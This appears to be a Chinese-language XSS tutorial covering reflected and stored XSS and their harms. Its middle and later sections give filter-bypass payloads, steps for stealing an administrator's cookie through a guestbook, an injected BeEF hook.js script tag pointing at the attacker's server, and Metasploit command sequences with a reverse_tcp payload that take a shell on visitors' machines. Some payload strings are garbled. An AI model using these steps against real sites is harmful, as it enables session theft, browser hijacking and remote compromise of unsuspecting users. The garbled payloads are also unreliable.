Xss介紹——
XSS (cross-site script) 跨站腳本自1996年誕生以來,一直被OWASP(open web application security project) 評為十大安全漏洞中的第二威脅漏洞。也有黑客把XSS當做新型的“緩沖區溢出攻擊”而JavaScript是新型的shellcode。2011年6月份,新浪微博爆發了XSS蠕蟲攻擊,僅持續16分鍾,感染用戶近33000個,危害十分嚴重。XSS最大的特點就是能注入惡意的代碼到用戶瀏覽器的網頁上,從而達到劫持用戶會話的目的。
由於web應用程序對用戶的輸入過濾不嚴產生的。攻擊者利用網站漏把惡意的腳本代碼注入到網頁中,當用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能采用cookie資料竊取,會話劫持,釣魚欺騙等攻擊手段。
危害——
網絡釣魚,包括盜取各類的用戶賬號
竊取用戶cookie
竊取用戶瀏覽請回話
強制彈出廣告頁面、刷流量
網頁掛馬
提升用戶權限,進一步滲透網站
傳播跨站腳本蠕蟲等等
Xss腳本示例——
<html>
<head >xsx test </head >
<body>
<script>alert(“xss”)</script >
</body>
</html>
這段代碼使用alert函數來執行打開一個消息框,消息框中顯示xss信息,使用xss彈出惡意警告框,代碼為:
escript>alert(“xss") </script>
XSS輸入也可能是htm代碼段,如果使網頁不停的刷新,代碼為
<meta http-equiv=”refresh” content ="0;” >
嵌入其他網站鏈接的代碼為:
< ifame src http://xxxxx.com width =0 height =0> </ifame>
Xss分類——
反射型xss(一次性)
存儲型xss(持久有效)
反射型:
反射型XSS腳本也稱作非持久型、參數型跨站腳本、這類型的腳本是最常見的也是使用最為廣泛的一種,主要用於將惡意的腳本附加到URL地址的參數中
如:http://www.xx.com/search.php.?key="><script>alert("xss")</script>一般使用的將構造好的URL發給受害者,是受害者點擊觸發,而且只執行一次。

存儲型:
存儲型XSS比反射型跨站腳本更具威脅性,並且可能影響到web服務器的自身安全。此類XSS不需要用戶點擊特定的URL就能執行腳本,攻擊者事先將惡意JavaScript代碼上傳或存儲到有漏洞服務器中,只要受害者瀏覽包含此惡意的代碼的頁面就會執行惡意代碼。

Xss常用工具——(火狐插件)
Hackebar
Live http headers
Editor cookie
Live HTTP Headers:
該工具可以用來抓取http/https的數據連接( 包括get 和post),獲取web應用程序流出的流入的數據。我們可以利用該工具發掘web應用程序中的安全漏洞。
Editor cookie:
Cookie信息修改器
示例:
留言板盜取cookie信息

當管理審核后,彈出及有xss漏洞

去注冊一個免費xss平台,然后創建一個項目,查看代碼,復制到留言板上

然后xss免費平台就會返回內容

這個就是網站管理員cookie

繞過xss限制的幾種辦法
magic_quote_gpc
HEX編碼
改變大小寫
關閉標簽
繞過magic_quote_gpc:
magic_quotes_gpc=ON是php中的安全設置,開啟后會把一些特殊字符進行輪換,比如’(單
引號)轉換為\’,”(雙引號)號轉換為\”, \轉換為\\。
比如<script> alert(“xss”);</script>會轉換為<script> alert(\”xss\”);</script>,這樣XSS就不生效了。針對開啟了magic quotes_gpc的網站,可以通過javascript中的String.fromCharCode方法來繞過,可以把alert(“XSS")轉換為String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那么XSS語句就變成了<script>String.fromCharCode(108,101,114,116,40,34,88,83,83,34.,41,59) </script>String.fromCharCode()是javascri中的字符申方法,用來 把ASCI轉換為字符審。
HEX編碼:
可以對語句進行hex編碼來繞過XSS規則。
比如: <script> alert("xss");</script >
可以轉換為:
%3c%73%63%72%69%70%74%61%6c965%72%74%28%22%783%73%22%29%3b%3c%2f%73%6
在線網站:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
改變大小寫:
在測試過程中,我們可以改變測試語句的大小來繞過xss規則,如<script> alert("xss");</script >可以轉換為<ScRipt> Alert("Xss");</sCripT >
關閉標簽:
<body><script> alert(“xss”);</script> < >
XSS+Beef的使用
示例1:利用beef劫持客戶端瀏覽器
啟動beef(用戶名beef,密碼beef)

<script src="http://自己管理的服務器ip:3000/hook.js"></script>(把這惡意代碼上傳到有xss漏洞的網站)

當有人訪問這個網站的時候,惡意代碼生效,我們返回本機beef控制台查看上線客戶機

然后劫持瀏覽器

示例2.利用beef+msf拿用戶shell(基於客戶端ie6)
先劫持瀏覽器,然后啟動msf
msf > use exploit/windows/browser/ms10_002_aurora(選擇漏洞模塊)
msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(選擇回鏈)
msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156(客戶機訪問的地址)
msf exploit(ms10_002_aurora) > set SRVPORT 7777(客戶機訪問的端口)
msf exploit(ms10_002_aurora) > set URIPATH /(網頁的根/)
msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100(客戶機回鏈,寫自己的地址)
msf exploit(ms10_002_aurora) > set LPORT 4444(回鏈端口)
msf exploit(ms10_002_aurora) > exploit (開始攻擊)
把msf生成的那個連接扔beef去,讓客戶端訪問指定的網站就會觸發這個漏洞,就可以拿到客戶端權限。



回車》鍵入sessions -i 》sessions -i 1》shell(成功拿到客戶端權限)

示例3.利用beef+msf拿用戶shell(基於客戶端使用ie789)
先劫持瀏覽器
msf > use exploit/windows/browser/ie_execcommand_uaf
msf exploit(ie_execcommand_uaf) > show options
msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156
msf exploit(ie_execcommand_uaf) > set SRVPORT 8888
msf exploit(ie_execcommand_uaf) > set URIPATH /
msf exploit(ie_execcommand_uaf) > exploit

然后把生成的這個連接扔beef里,讓客戶端訪問,msf就有返回回鏈會話,就可以拿到客戶端權限了
Xss漏洞掃描與留長期后門——
常用工具:
Wvs
Safe3
W3af
Vega
Xss掃描插件+burp(去下載掃描插件在導入就可以)

